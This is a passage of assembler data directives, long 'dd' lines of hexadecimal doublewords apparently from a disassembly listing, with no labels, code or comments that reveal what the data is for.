0E81F3097h, 6F8068CAh, 74BF78A1h, 0B01300C2h dd 2CD84084h, 6CE253C7h, 550E5801h, 74525B4h, 4BB7F03Bh dd 0B076DA00h, 0E1DCF77Bh, 5BDB019Fh, 0F06D54A1h, 46B8FF57h dd 9907E92Fh, 0D2A06E62h, 0CA3D4841h, 0A12DE4h, 0F3CC9C05h dd 0E93489D4h, 1B0FC5Ch, 2B0A1D09h, 87F0EDAEh, 787042h dd 0CB3629DCh, 47E99419h, 0FC5E6000h, 7D9EDAA7h, 0BAA90037h dd 81FE0307h, 0ED037804h, 0D2A78327h, 0C4B4A8A2h, 69CA00EEh dd 0AC21D39Fh, 0A5009422h, 711CCCDCh, 0A04DFECDh, 0BE9A3E0h dd 0D9FBFC85h, 0C13F59F0h, 0B200F1CEh, 608FD295h, 162DA0DBh dd 18C0780Ah, 8CA4388Ch, 99E61F00h, 16BD4AC1h, 0FA420050h dd 0AD3D8A06h, 9E00943Bh, 0F6619B80h, 7DB61Bh, 23C0DD4Ch dd 178F0778h, 7C492B00h, 0A7253C0Bh, 76A3008Bh, 1CB9F831h dd 173BA6D0h, 0A2530033h, 41D74667h, 90B0EB1h, 48A080A9h dd 6F311292h, 72BB201h, 288E5122h, 9FAA20h, 0D1A55217h dd 0FA6D1179h, 0DA92D500h, 5A612E1Dh, 6C44007Eh, 0A085EBBFh dd 4B0FFFEFh, 0A0D00C62h, 6AB35C72h, 0FA4107D6h, 5E671D66h dd 224DDAE3h, 314AB907h, 96A05A4Fh, 66BE46h, 2CE8FE84h dd 7A869A53h, 8A601900h, 0FD5DDFCh, 704F00FBh, 5ABFB77Bh dd 0F8079498h, 0C1D2ABBEh, 15AC8B80h, 0C8330753h, 7EF71E42h dd 0EEA5B40h, 3600B16Fh, 0FC20BE8Eh, 1F69A694h, 57CDB67h dd 0C15A1EABh, 80E77AF2h, 11AFC87Eh, 0DE6022h, 0CDF56756h dd 57CE10B9h, 7AFB30C0h, 7EACCCh, 85771805h, 0D0556956h dd 200D51CEh, 0E597FFC6h, 139E00BBh, 0B3B738ADh, 0E10080E0h dd 498AF1CDh, 0CB2D5C8h, 6E476727h, 0ECFE7E10h, 0B98C7D00h dd 0A191500Ah, 7C30028h, 1B80C1EBh, 9E005948h, 0CB7F992Eh dd 523355h, 794A1127h, 909BC372h, 0B10018ECh, 0A3FAA0EDh dd 6901ECh, 0F1729C8Bh, 0ABFB7CC4h, 0F51B580Fh, 0E8D200EEh dd 4CA1B751h, 200F5452h, 0E3073B64h, 0C257E04Ah, 73241E55h dd 183A3913h, 7A303C94h, 65102DB3h, 0DCC98B40h, 7D04890Ch dd 2D41F8h, 0F5269B42h, 18EB24F4h, 7100D7F8h, 0B45C3A67h dd 7CBCCA2Fh, 69E319C7h, 0D4FC20C5h, 44008C3Eh, 49CE5C60h dd 0FA107DEh, 0F00AA556h, 75D11DA0h, 0E000D608h, 43B750F5h dd 18163464h, 496E7717h, 7006C2Dh, 0DEEC50D7h, 0DF24C6h dd 7242F204h, 26E7D2A9h, 0CF290101h, 315CB954h, 0E834E8h dd 6728062Eh, 0F5D9E5F4h, 78C93B17h, 55B9CA00h, 1E545DC2h dd 989F8F98h, 0ACD9BA4Eh, 0B0C67602h, 0C0BE3F7Dh, 3E154058h dd 9900C970h, 0D6CEFF43h, 5AC0CD10h, 333D8F8Ah, 1C720149h dd 8CFF3AF4h, 44E3E0BBh, 3ED7E04Ch, 0AD33038Ah, 0B0AA3432h dd 727925Ch, 0C31D9EF8h, 29EC8097h, 471674A7h, 0CA015155h dd 0CFA49B2Bh, 41E770h, 3E131F1Bh, 9FBABB26h, 55A52E00h dd 1267A32Ah, 0B02500F5h, 0E2FA0C45h, 41D4F92h, 0A2CE19BFh dd 11090043h, 0F84CD13Ah, 59F90053h, 8444FA3h, 3F0C0712h dd 11B23821h, 0B90A0031h, 63A16419h, 0CB3BFDA2h, 76B503B0h dd 201057h, 873F92FEh, 698B7D47h, 2BB9B400h, 8FC73B77h dd 3D2B053h, 0BAB275E0h, 88004012h, 0DA913CFEh, 3E373EADh dd 0FF2EE6h, 0F4BDFABh, 77B62FC7h, 70DD8D00h, 0D9B3D654h dd 0B44F0053h, 9D1F987Bh, 6B0026CEh, 8B2B569Ah, 3B84D1A4h dd 63808A59h dd 4883341Eh, 0A00C988Eh, 5E507276h, 4BA300EBh, 203B36FAh dd 3AE8B837h, 859CB539h, 89BBF04Ch, 2C102380h, 15770783h dd 40B6807Eh, 0F40C5276h, 85C2F107h, 0A0F0AAABh, 90B78C6h dd 0B2980D90h, 0B56C7880h, 403C7D6h, 8036C31Ch, 0A63BE86Bh dd 82AC037Fh, 0E402CCCEh, 6554B688h, 20861007h, 0ACBB7FEh dd 4B000643h, 0F42E9309h, 0E653EA08h, 2A313D8Eh, 0F1580074h dd 3C7CE31Eh, 100E64C4h, 204F0A4Eh, 0FCA8B346h, 16D71AAh dd 8CC9BA78h, 0F087CB64h, 0A70009E6h, 54AB496Bh, 19362BEh dd 1840F4EFh, 601F2D8Ah, 7700A010h, 69B6FCC3h, 18B8FB5h dd 8D2CC4B8h, 0CCA9F3D4h, 0C700F8A2h, 0A0016358h, 7F31D7C2h dd 0DF8BF51h, 440071FCh, 629621F0h, 9BFE1Dh, 0BE6E8032h dd 0CC46CFCDh, 71F08560h, 0ACF30Fh, 2A51AD5Bh, 3AF2867Fh dd 4EE2D900h, 0B6B8D46Bh, 0A3E41D9Fh, 0E1644011h, 0ADEB0BC1h dd 773BBD1Dh, 0E93E5C83h, 8627908Dh, 8E863CBh, 2000F8FAh dd 2D507B2Bh, 9351ECh, 52234C65h, 0C02F6674h, 7B948D00h dd 8C4E977Eh, 17E41673h, 8A120968h, 0B5498103h, 0E85A09B9h dd 0AD009EC8h, 0BA3BC1D9h, 3C03E6h, 0F0FB6B77h, 0F811438h dd 99955537h, 0CED4FFC0h, 7129032Eh, 74F578B3h, 0BEB95800h dd 8DEBA583h, 7B950767h, 0B04C3C28h, 0DF1535Ah, 0B97A6800h dd 71866D01h, 0EE50036Eh, 8828FB3Ch, 0DC6FD9D8h, 8D10D100h dd 0A8A57DCBh, 58F0214h, 5E75C293h, 9127A160h, 0DBC58000h dd 0A4AA3096h, 480C0394h, 0CCB43F58h, 8C69E600h, 11DA88D0h dd 0D88900F7h, 9ACDD61Ch, 0C600B044h, 73FA4F3Ah, 28AB48h dd 4A1AC5E5h, 0EED971A2h, 0BA1C90B8h, 27001EF2h, 995DF513h dd 35AC017Bh, 38FCC7EFh, 0D15E0B0h, 44861F1Fh, 0B1A7CB03h dd 0E4CD894Ch, 0E487B6E4h, 6E100196h, 882770D6h, 4FCEC0F0h dd 84EF3000h, 0E2DB1711h, 0A81900FDh, 59A569B4h, 0EC003E51h dd 0BEA36673h, 5F268Fh, 4B1A88Ch, 19C2D752h, 83379301h dd 0D602C11Dh, 8286ECh, 905CDD68h, 0D5E7F914h, 8B673Eh dd 0FB54F108h, 0F3D063h, 25C44634h, 0D3A9B4DEh, 5A51A000h dd 6BCB2796h, 4E90C116h, 7092C1E3h, 5EE84D17h, 0CC0C8C00h dd 70A960D8h, 4F741C1Ah, 18169677h, 6C0AD96Ch, 0AF7B3DFEh dd 9F78A750h, 3A79EA18h, 0ABEA0h, 85257844h, 0C4B00F2Fh dd 7D744E78h, 5873F035h, 589E1E0Ch, 32A4252h, 18A29221h dd 1071DAA7h, 0EF061CB1h, 5DF6BE85h, 4358C018h, 784D9AB7h dd 0EA44B171h, 8CBE4F3h, 290EA142h, 58022D45h, 2031CF4Eh dd 4DC2F365h, 5C12BE14h, 0C4971E2Ch, 0B46528E0h, 82BE658h dd 6AA118BDh, 0A360E46Eh, 67848A0Ah, 3B3A425h, 0A47F2DEh dd 69451359h, 0C5990884h, 0DE5D6603h, 719078E3h, 5AE0081h dd 0C3ED9A07h, 0D0781CD9h, 0D3BC8F05h, 0DC00E3C4h, 0E2899267h dd 0B794A0B5h, 283B0649h, 48C5BC87h, 0E1006EEEh, 0A444ED39h dd 0FE46ABF9h, 7E3200BFh, 227B0FC8h, 743C7D07h, 9909F02h dd 43B63700h, 0FE04BCh, 21DFB8ACh, 0AA70FB5Fh, 0F23DB4B8h dd 2736804Fh, 7C6A4E63h, 0A3AE0099h, 23A50B96h, 181D85C1h dd 1BC04B5Dh, 0EAB91A3Ah, 34FD1F97h, 109F66h, 92838BBAh dd 700A145h, 0FCF8E5DDh, 0C71FC2h, 0F5E27087h, 2D450565h dd 0F6F25A1Ch, 0FB1DC500h, 72946Dh, 11A817A0h, 0E8A6F52h dd 8227DE00h, 0C162F8FDh, 0E34F0072h, 0F2A36153h, 79F437E4h dd 6B7A351Ch, 6501DF6Eh, 0DEBD40DAh, 8561D8h, 79B30773h dd 932582EEh, 4BA60900h, 465B2C1Ah, 8C1E3FB9h, 0B57EC480h dd 2EBB63Dh, 8E503Fh, 136C37BDh, 348BA4h, 279E4322h, 5ACD3D6Fh dd 53FA6000h, 6C2A0724h, 0BEF701E8h, 52CCABDBh, 0ACD6F40Fh dd 0E78DD900h, 0D2448CF4h, 1D3AF64Dh, 492CF99Fh, 6F89924Eh dd 1A70BD09h, 1A3B130Eh, 73DE607Dh, 78B39B81h, 237B0C86h dd 6B286980h, 0BDEC0A28h, 0DF3CBD18h, 408A2728h, 4603DD01h dd 375C03B7h, 0B9510F2Ch, 81E78DF3h, 7F293C43h, 8E0C738h dd 8C64035Ch, 0F79700Ah, 2298961h, 4F01ADD1h, 258B1028h dd 85AB80DDh, 93C1F98Bh, 1326DB01h, 22A19ECEh, 89026E77h dd 5BFEA48Ah, 933C83E7h, 0A051756Bh, 0C418F83Ch, 2D3329h dd 99344CD2h, 5F73004Dh, 0C963DB24h, 0A60086A3h, 0DDB5C638h dd 1B1E9BCh, 8C0AE1A1h, 35A5EA0Dh, 8BACC4CEh, 0CC741600h dd 0BD62E27Ah, 0E9F10020h, 783A7347h, 7F00FA9Bh, 4CA1AB38h dd 73FFCh, 9A18BA2Fh, 5396291h, 2E1C7F00h, 0A28D825Ah dd 66B316C7h, 751CEA4Ch, 7EF9E8C3h, 0D513F893h, 0ED742Dh dd 11853A41h, 0B14C64E5h, 19007377h, 8F9E78D8h, 7E497517h dd 36EF00DAh, 61EBB4Eh, 5F0B530Ch, 806A0438h, 847E14B9h dd 79B0B67h, 47801FC7h, 31D8CDE9h, 87009372h, 2D9D8E6Ch dd 1803A958h, 50E111F7h, 950FB7EEh, 0DFA3495Dh, 0F1D9ED40h dd 3F0C9D8h, 0E884C776h, 8AF8CCB6h, 16002D60h, 0FCA69044h dd 3F235Dh, 7E3DE92Fh, 0BE1F2AB1h, 61FF3907h, 0A0CEC2B0h dd 20939FBFh, 0D75C5h, 3610F7BBh, 7A78FA11h, 4587B200h dd 47CC1EF5h, 71B80977h, 8880E156h, 63BF480Bh, 8CC18818h dd 959780h, 29E02019h, 0F861336Bh, 0A5FD1207h, 0B9A3AF5Eh dd 0A739F9C2h, 4DF01083h, 0F4A023B0h, 0BC001CBDh, 0EBE2228Ah dd 145D2F65h, 0CF3DFA46h, 87FE1Fh, 0F4528A4Ah, 530335D8h dd 133909E8h, 0E0EAF33Ah, 39C848Fh, 0EFA40D85h, 3DB7F59h dd 0AB78C7F0h, 34662A2Eh, 0D07EE007h, 5B7FE06Eh, 140F44h dd 0D6428952h, 0EA9B0EE7h, 70FE3500h, 0E0B2CE81h, 0B3340014h dd 955BD25Fh, 0D17BF6E5h, 429E4400h, 7A4EF355h, 72C70025h dd 48A428E8h, 0CF043A43h, 7DDE06E1h, 1E694490h, 38900358h dd 0B4ACF2B3h, 13C2BA88h, 1974F401h, 85704A0Bh, 94E0CF0h dd 0D0780967h, 0C2FF6C00h, 860096A5h, 1156611Bh, 5832938Bh dd 3763B34h, 28D66D99h, 17C0196Bh, 97009D09h, 0B8C83C83h dd 4A658Dh, 6D62CEEAh, 961971E4h, 3C339F01h, 0C7EB987Ch dd 0ECB6CCh, 0ABDECD13h, 0F4A4F284h, 4DD84700h, 7037725Ch dd 7A4B1F6Bh, 40B06454h, 79CB909Dh, 0F6871A00h, 760371Eh dd 0B46800D9h, 0AF03EEDEh, 102C2BCBh, 23037C54h, 0D86B0E75h dd 0F2FDFEh, 6C72ED8h, 5191C533h, 27AB4C03h, 0B0698BB6h dd 0DCCB22h, 722399B4h, 0A8802DD7h, 3C20AD3Fh, 8C528026h dd 31433FE2h, 51CAB86Dh, 2083D498h, 0A961F244h, 285654F0h dd 7B482700h, 0AAF71D81h, 1EE05ECh, 204A2482h, 94CD03CCh dd 0B17C801h, 1BC40862h, 51F2EC40h, 57F80EC6h, 9F9F6F98h dd 183E003Fh, 50328C1Ah, 80106938h, 0B741BB75h, 0B0E2DBF8h dd 39E40008h, 56B4A8B1h, 4B0028F7h, 0C676D038h, 31F309h dd 220089Dh, 2CA6E445h, 5B254800h, 0EBB70A24h, 0E2F80095h dd 0B8D9D03Ah, 0EA000263h, 0BB24DBBCh, 14DC80D2h, 0B0B35E74h dd 62353380h, 15006106h, 1F0E2E37h, 0EDD5DDFh, 4F0149D1h dd 55C7B0EFh, 0A35030C4h, 11006AADh, 69D73977h, 0FAC91E4h dd 330EEC2Fh, 170FC4E0h, 0C00EB46h, 1BDECF23h, 3AB58480h dd 21804E40h, 7837DF66h, 0FF05702Ch, 0DDFE976Eh, 13F5F780h dd 0C9491F76h, 0D76000A2h, 3420980h, 5966E300h, 738F84EAh dd 48DD0046h, 0A64BFD98h, 38FE78CCh, 0ED6D350Eh, 27F9C3F1h dd 6FC0954Eh dd 6F4352h, 0DA67EE5h, 99AFC582h, 91BD3E01h, 0B3315B97h dd 0F987B30h, 3B89F0CCh, 0C7A10665h, 0B66A80h, 85CD4FB8h dd 0C3002DE8h, 4353AF24h, 0F7B4C7h, 0A2F0B3ABh, 33F8B23Ah dd 81058400h, 5D8E209Fh, 0EB39007Ch, 2889CC78h, 0FC0154FFh dd 0E518349h, 23C8F42Dh, 3A3E903Dh, 0DC00E941h, 0C748689Dh dd 4C00FBDEh, 0BADF8281h, 240B22h, 1118F41Dh, 8DE10C74h dd 144C2C79h, 5CBC00B8h, 0B56C0480h, 0F9FB00A5h, 29CBF2B1h dd 0C3030B8Bh, 0CC0A2676h, 0EAB4C8D2h, 7EE71F1Fh, 1A1BC0E3h dd 3F221C3Ch, 40E59225h, 0C6613Bh, 50357495h, 1BA85AF1h dd 0A2DE4A00h, 5C644204h, 0EED7033h, 6BB9F80Fh, 0CD295B40h dd 0D0051C4h, 31F22B5Dh, 2803E4CCh, 0CD3E4Fh, 7D241204h dd 0DB520E5Eh, 89292000h, 1B19E3EDh, 482DF275h, 0D90EBA86h dd 8860A7BBh, 3A9DF880h, 7C223900h, 0B11931AAh, 5BFCDEh dd 0A035B80Bh, 4059834Bh, 9DD6490Fh, 0E33EC0FBh, 16E1016h dd 0C007B065h, 0FC2C8067h, 0DD009FF1h, 0F3CBE4B8h, 43D6Bh dd 5ADE3550h, 2B62CC32h, 7CB72000h, 3F70D14Eh, 99DC6024h dd 2A73ED6Ah, 6CF88A01h, 1E709D99h, 0E2C3C0E6h, 77820102h dd 89370330h, 7C32D822h, 353BE107h, 21101207h, 0EBC5Fh dd 681D1429h, 69E62057h, 0EA3FCC00h, 5BA13D0Bh, 0DC4A00F0h dd 0BF2BA524h, 9C00F3D7h, 0E095871Ch, 0D6AAE3h, 4B9896A8h dd 0BF928371h, 4222F600h, 739F2A44h, 4A840062h, 360E1A55h dd 9E0056CCh, 0D3C53F7Eh, 1CAA5771h, 0CE5D5190h, 1720A942h dd 0CCB18325h, 0F734CB02h, 0E0FFD7E4h, 5F50F1h, 0FE0A0E85h dd 0A4A6366Dh, 176A7600h, 0AB01942Ah, 0EB4112AEh, 1AC1F42h dd 0F1FD953Fh, 0E392C43Ch, 0F77D7801h, 5A9984D6h, 151FC8h dd 79E0C30h, 1E4DE0FFh, 1F89D52Eh, 2078F10Fh, 79E39CB1h dd 3F62F264h, 0CD3A3A17h, 152ADC83h, 1AF40C6h, 20AF3CEEh dd 0BA58311Ah, 4E1707DCh, 23F00511h, 101D38Dh, 29388978h dd 0C4CBE664h, 56001A7Eh, 6442D77h, 38CB250h, 0DA1D19B7h dd 0F28F6EDBh, 84042EAh, 730F9423h, 0E09F77A2h, 859A4BADh dd 0E17F24h, 0A776FEC7h, 0E9304A12h, 17432507h, 828050C2h dd 0F24510F5h, 71DB00A3h, 5EEDF38Fh, 12005A74h, 0B384C8CEh dd 90C14Ah, 0F3C6A24Dh, 0CDF9EEFh, 0CBA44450h, 0E247AF00h dd 9C56FFC9h, 154EAFDh, 0EADDC02Ch, 7042DEABh, 0E3074CD8h dd 5F4766FCh, 8C177EC0h, 829B004Ah, 0A6B9F455h, 4300B8F0h dd 0AE993AD6h, 281716E5h, 0E3B71Eh, 25F8188Ch, 2E7CA9A8h dd 63EC1100h, 2A333AFFh, 4684004Dh, 0A0B556Ah, 2900231Eh dd 9EB9F5DCh, 24266D8Ah, 758938h, 1A81C779h, 4D18B5BAh dd 905441E8h, 0D6C83F4Fh, 691BAF80h, 0D7338847h, 9EE7EF0Eh dd 0D5CA80BAh, 863501h, 7E40840Fh, 296B15A7h, 0E3B72C02h dd 803419D0h, 5A56AEACh, 2B018775h, 0C6D4B60Ch, 0E488A960h dd 518C0E21h, 0C7803C0Ah, 875660Dh, 3994F405h, 0C001D620h dd 0B9FFD368h, 70E4DF8h, 0DAAD6A82h, 0B436A008h, 37B02A96h dd 5DED9C00h, 0EEF646A7h, 0AF9000BFh, 7C6FB2C9h, 4100FDD8h dd 33CF6D91h, 485482h, 347BB3D3h, 2178E25Bh, 3602C000h dd 0A493C7E8h, 313707EBh, 60CF04D8h, 974587B6h, 430A148h dd 8EBD96FCh, 0D44400EEh, 0FF2723Ch, 0D7203Ah, 29ED2FB5h dd 0F005F9h, 927DD660h, 3B9B046Bh, 9C33A000h, 0F18E7F52h dd 0F43C00C9h, 0A6158B62h, 21024EF9h, 4D9AA70Ch, 8DD480A9h dd 0C877AEh, 0E8AB489Bh, 98DDE5EBh, 3036A807h, 1A108F8Bh dd 84432Fh, 0FC01E176h, 1DC9EBB9h, 63B3CD00h, 6E79787Eh dd 0A04000ABh, 0C2DD3103h, 0BE00F1D8h, 3FB9344Ch, 0BB7BFAh dd 0BCB216A1h, 8ED1E7F5h, 6C83EF00h, 0E803F226h, 1B07009Fh dd 74786A9Eh, 0C400779Ch, 15702135h, 3E90A91h, 34C59B01h dd 0BD806F59h, 0E838A7D2h, 0A1F000A0h, 801CFCBEh, 189001B2h dd 0D26FC07Bh, 0C94FE448h, 25FA6707h, 0F2009CA2h, 3A883197h dd 46008A66h, 186C0AAFh, 0F50042FFh, 6AA6371Eh, 0B2C78Dh dd 0A9E59DEh, 0EF012060h, 13637507h, 3F08838h, 0DB74ECh dd 6DCAA21Eh, 0C52FC6FFh, 0C00AA2B0h, 0FC541F68h, 29828C3Ah dd 0E54013h, 33374120h, 9B3DD326h, 1A00E071h, 0FF2C97B5h dd 0E50A07h, 0DCB4281Dh, 1E274FA3h, 166DAD00h, 5CF25C7h dd 0C6A100F5h, 5B9A2456h, 87FE5F08h, 7D3ED0B7h, 3B9013h dd 1A4B05ABh, 4D35AA6Eh, 965C0900h, 0A9B2B825h, 8EF71D79h dd 361283FBh, 2D80D52h, 0D80E39F8h, 1E15A21Dh, 9F7E7480h dd 7708FE51h, 162B5C57h, 0CFEA8902h, 4AE068B8h, 14002732h dd 0A24E2187h, 28E122h, 0FC2FA393h, 64164324h, 0C294C300h dd 3DC480F4h, 0DEFB0007h, 0A5CE4BBFh, 29901201h, 0EFA70200h dd 0E71845Eh, 0C06A01B8h, 5AA64DAh, 0F7DD458h, 67743E09h dd 0E85C02F4h, 8DC806Fh, 148E9B98h, 89149C0Bh, 3F3F8D24h dd 1E901800h, 0E83C55CDh, 41039E2Eh, 87C63A39h, 0F41A740Eh dd 0AB644E0h, 84F80742h, 0B0794A9Dh, 0C02076BAh, 41D67B00h dd 0D32AC585h, 0DCB200CDh, 0B7547EC6h, 0B800CE3Dh, 0AFE5FAA0h dd 2EF554Fh, 0C1FC078Bh, 61437091h, 1634C80Eh, 0BA01F069h dd 4FC0B117h, 2A1A30EFh, 4E00E7E2h, 0E565499Ah, 7DC2155h dd 0A6847E8Ch, 800C29B5h, 8B78FD30h, 0FF90A071h, 76FBD500h dd 0AF63706Eh, 87F9007Dh, 0C0513D9Eh, 370057C4h, 244F2DD6h dd 0F9DA8E5h, 0B2A1EF26h, 6F1BD9E0h, 6300F299h, 0E6A9D328h dd 38B7DBh, 0CC062A9Ah, 4E47711Eh, 36E7F00h, 7C02D32Ch dd 63AF0067h, 9528D6A5h, 0A3003369h, 3101722Dh, 3796C0h dd 13A432E5h, 0BA8CFE09h, 1EC68B01h, 213EF9E2h, 4A52D8F8h dd 0D4ACF2h, 0B4731198h, 0FA256h, 5D3B9248h, 54B1B2EAh dd 3ECB3D00h, 0D67C974Dh, 0A3400072h, 8B7D06F6h, 3C005FBAh dd 0B6366AF5h, 88D359h, 99642F35h, 10B876B2h, 5F0085F6h dd 5775C1E3h, 48B538h, 1AC73F78h, 0E9180CFDh, 4CA33200h dd 0B26CDD09h, 0B4F150ACh, 0FEBD002Ch, 0DFFA43A4h, 2009FEFh dd 7EB5CAC1h, 38A82468h, 1E806777h, 78A2DD53h, 0C371CC59h dd 4AF4A900h, 694EA592h, 3D180019h, 0B7881285h, 0C60F8152h dd 0A048F7FCh, 8D9795B6h, 7FE900D1h, 0AFE081Ah, 8400C90Ch dd 6E9B657Eh, 364CAEDh, 5370B722h, 0EBA05D92h, 2707F8A1h dd 79021744h, 0FACC3DB0h, 780E1D3Fh, 32EC73h, 84EBD74Ah dd 0A11DFD5Eh, 0FD25D3h, 0BEDAE03Ah, 0A313F5h, 78502A29h dd 0AC54E3D2h, 83A6FB00h, 43B5EDE7h, 0FDD50019h, 5AF6569Ah dd 927D3460h, 0C8F44C2Ch, 9D0C4800h, 11891Fh, 2179C469h dd 0FDA8B476h, 224C4700h, 6629D4F1h, 9BAE0B32h, 5C8027B0h dd 17A85BB8h, 59BC7701h, 0F0C518CAh, 14544530h, 0C0400CC9h dd 4628D200h, 1ED9A590h, 7DEC8C00h, 0C2D09732h, 5DC0244h dd 3326E812h, 911DED40h, 0B6CFBE00h, 0FF21AC37h, 92EB00FEh dd 0A68FC523h, 5D5AA940h, 0A20071E8h, 7362386Dh, 822C984Fh dd 4800FCE3h, 177BF85Ch, 0F2B071Bh, 40BE59E7h, 84BCC781h dd 0F4CA6C00h, 8F7D9A7Eh, 6375CBh, 663357A0h, 5580E7C2h dd 0A705FA02h, 600798D0h, 0B61774Ch, 0D808118Fh, 0D6EAB200h dd 5B7E720Dh, 753BAB05h, 0ECC03EB4h, 0B14F64h, 0F2AC7C68h dd 393A7BE3h, 2CF56109h dd 24B674A9h, 38AF00E1h, 7E8ADAF1h, 0A10EA300h, 210487FFh dd 0AC8D0BE0h, 74809762h, 5356349Fh, 323F3100h, 0AB19CE12h dd 0EA550030h, 37C2D554h, 717582BAh, 0B60040F2h, 8EF85264h dd 946D7F7h, 2B32081Fh, 62F67C8Dh, 128F16B0h, 2256FE00h dd 0F047B6h, 0FBF41611h, 0EEC1DB6Ah, 0FD0BFE00h, 1DE49DE6h dd 5AD00134h, 413FF306h, 0FA5DE443h, 0BC528E0Eh, 0E98A00D3h dd 0C0F0C8h, 0D5DFEA77h, 0CE6A6A7h, 6AAF2300h, 5F1F21E5h dd 0AC770081h, 0A84F9E8Bh, 0D00A3EEh, 0D4BF9091h, 26570Ah dd 8F0E024Dh, 3F345668h, 240D8500h, 0F223B26Bh, 19DE05B4h dd 0C0F8DC31h, 3734F5B5h, 0E1532500h, 24CC2132h, 0EC70085h dd 0F6399EFFh, 6600CA47h, 57FBCEB2h, 340D951h, 139D2F8Ch dd 0BED031EFh, 5602BD0Dh, 0C27BE5C8h, 8501Eh, 0E06BC39Fh dd 0BA88C0FAh, 61786E00h, 9CADD243h, 0F66FF829h, 675F2EA2h dd 82D3012Ch, 0FC24BDFDh, 0B71E29E5h, 0F14030D5h, 1865971Bh dd 701D5823h, 937A0DC0h, 471F8139h, 3D43033Ch, 0B8A6DD67h dd 3B5BC6Dh, 1A7B72FBh, 3950348Bh, 6112D540h, 8900DCC2h dd 137EC702h, 50E90022h, 2543D83Ah, 4498D5FEh, 0B5161D02h dd 0E0D03F95h, 2F6A4h, 9F9B631h, 0F730B14h, 47860B8h, 3799BA00h dd 0E6A53CA2h, 7E392C7Ch, 0DF9660C8h, 3305FD9Ch, 0EBD9EC8Bh dd 7B2D4C0h, 1F2E8h, 32D08410h, 5A98E185h, 28687300h, 5D4B143Ah dd 19C700D5h, 0F7B46016h, 0C002C53h, 0FA729E21h, 149B93h dd 1CCBE6AEh, 0EA754BECh, 8738F100h, 0DE598F4Ch, 0BD8D00B5h dd 0C5A63D5Ch, 0E0E5FE5h, 336665D0h, 3FC3981Fh, 0B8F40A3Ch dd 3A6F8Ah, 0FDABF816h, 0D47D6063h, 0EC6C2B00h, 56A1A97Fh dd 0C6B90F4Ch, 0FDA00D77h, 28D3FB89h, 9CD58F01h, 379AC757h dd 432C0E0h, 0AD87684Bh, 3A04C3F0h, 0A76A64E8h, 50767D01h dd 46264ADCh, 7710F0h, 39AF40C8h, 587133CFh, 42D43Dh, 4E57BA4Fh dd 1EC9A860h, 0DFEA95E7h, 926340C3h, 1742C70Ah, 0FD002E77h dd 1A2CEEC6h, 825FF3h, 657D59F4h, 6EB650B1h, 98CF4300h dd 2E0A2FE4h, 7E720040h, 0B0BD211Eh, 0E100E0A2h, 0F8AF950h dd 58C44131h, 0FC0337D3h, 0E8AAA3DBh, 0A8694BC0h, 0F3E9F402h dd 622AAB79h, 219C400Ch, 0C6E8E941h, 2CA4A029h, 0C1D20030h dd 623F1951h, 0A300E677h, 4FED1AB2h, 719FFCF4h, 0EE70038h dd 0A4408360h, 6A004DCDh, 0D86C5822h, 1FC0BD4h, 0F631259Eh dd 0E0088191h, 46ECCCA8h, 0D1204803h, 0B8D65D1Ah, 7DC3279h dd 0F6AE9AAh, 0F95810D3h, 53011CB0h, 2CA015C0h, 28605138h dd 8C0B1C72h, 8503C0EFh, 1A4A3D58h, 0E94E3900h, 1066206Eh dd 7F5B0030h, 0CE9287AFh, 400FF40Bh, 4C113A47h, 11F98BFh dd 0B52503F2h, 0E8A8D7F6h, 0E5305C20h, 0BF80A867h, 4E2E0047h dd 0A1DE30A4h, 0F57DD69Dh, 6034D55Ch, 0BEBD4288h, 3C4A5901h dd 30EB0F00h, 0C592A134h, 8E9B1901h, 0DF547851h, 0F41F2080h dd 7534F1BAh, 7AB0903h, 58378304h, 2B00147Ch, 0E5367AB3h dd 8F051C64h, 8A13B14Ah, 0F39B1880h, 5F78005Dh, 20A37BA6h dd 6800FCD2h, 93E9EF73h, 4CDFBAh, 354103E7h, 940E5ECFh dd 27912118h, 3E0514h, 1DCBA697h, 73C4BB3Fh, 0C8A57A30h dd 0B076137Bh, 10630050h, 93F071E9h, 0BC7A8D82h, 500F0201h dd 0E24AAAD8h, 2C7FF6F4h, 8FCB06h, 0D7A868FDh, 267A55F1h dd 4DE8FC60h, 58D649B1h, 0E2008806h, 3622FF5Ch, 89005748h dd 0BBEF269Ah, 38A314D4h, 0F9002C07h, 41911A80h, 0FA1FE368h dd 7C41A066h, 5D988E76h, 84FA30h, 27698756h, 858D4F32h dd 3700EE78h, 0DD4075BCh, 0F04AEF3Ah, 527E0018h, 10283E6Ah dd 0B403F9F4h, 8B8E714Bh, 51BFF8D7h, 0A2B1F61h, 241705A6h dd 0C0D91D09h, 0D1F3CA01h, 0ABFE8E81h, 0E8F03101h, 941F3E2Ch dd 6C8BD0h, 0B9B6EFAh, 0B65771C2h, 0C409E203h, 0A2E81A8Ah dd 0B1C84070h, 0EE3900DBh, 0E21119B3h, 0B4A3D810h, 0B67701EFh dd 8357CC8Ch, 37E3BA00h, 1DC6A619h, 0B49C9Ch, 458F68F6h dd 0FF00C52Eh, 0AA33531Eh, 8D6490h, 0AFDA40D4h, 0F0FDAD19h dd 1BFEC507h, 0A5405E7Ch, 0E614F75Bh, 0DB110088h, 8FEF9538h dd 0E8071013h, 0E47B94EBh, 0F7218670h, 2E3005Eh, 0CAB9C9EFh dd 5B04771Dh, 24710109h, 36A43881h, 0C60E0h, 0FBBA9F46h dd 6CB72AD8h, 0CC25BE00h, 5297A6F6h, 72E50571h, 88447919h dd 0D005150h, 0E6CF069Bh, 0D284D1h, 9FB1B340h, 0BB6223BFh dd 78213500h, 0F99A2459h, 0DB930EE8h, 74217C71h, 306D6838h dd 90042E1h, 228565F4h, 7CBE4A48h, 7F37000Eh, 0F39DBBA3h dd 2D0ED687h, 69A902h, 0EDE8D11Bh, 86930056h, 66773DFCh dd 2800250Dh, 2CCD9A73h, 0EB3AF2F3h, 0FEC9D60h, 0CC8950C0h dd 6801C82Eh, 405B22E4h, 6510ABC6h, 0C7B13000h, 0DD3E0901h dd 21F03FD5h, 8315771Ch, 2E33D828h, 0E4A11DF0h, 89597007h dd 91A0443Eh, 8DA30Ah, 0E71E1325h, 0E697EDDCh, 37C3100h dd 35058CE9h, 6D0C1D86h, 385400E4h, 1774CA89h, 44A3490Bh dd 0D430809Eh, 0E6BA3Ch, 0A5D01B35h, 0F439FECFh, 8928AA0Eh dd 47F2A08Ah, 5E38E5h, 64DF7EDCh, 0D5BD7C46h, 74616A03h dd 985A3E1Fh, 6B4983h, 0A90BA331h, 21F94340h, 0BBE58401h dd 0D9384869h, 537EB8F3h, 98E0B62h, 2060295Ch, 2E00509Ch dd 0A3D710E0h, 0EF7988h, 578155ADh, 0D13575B8h, 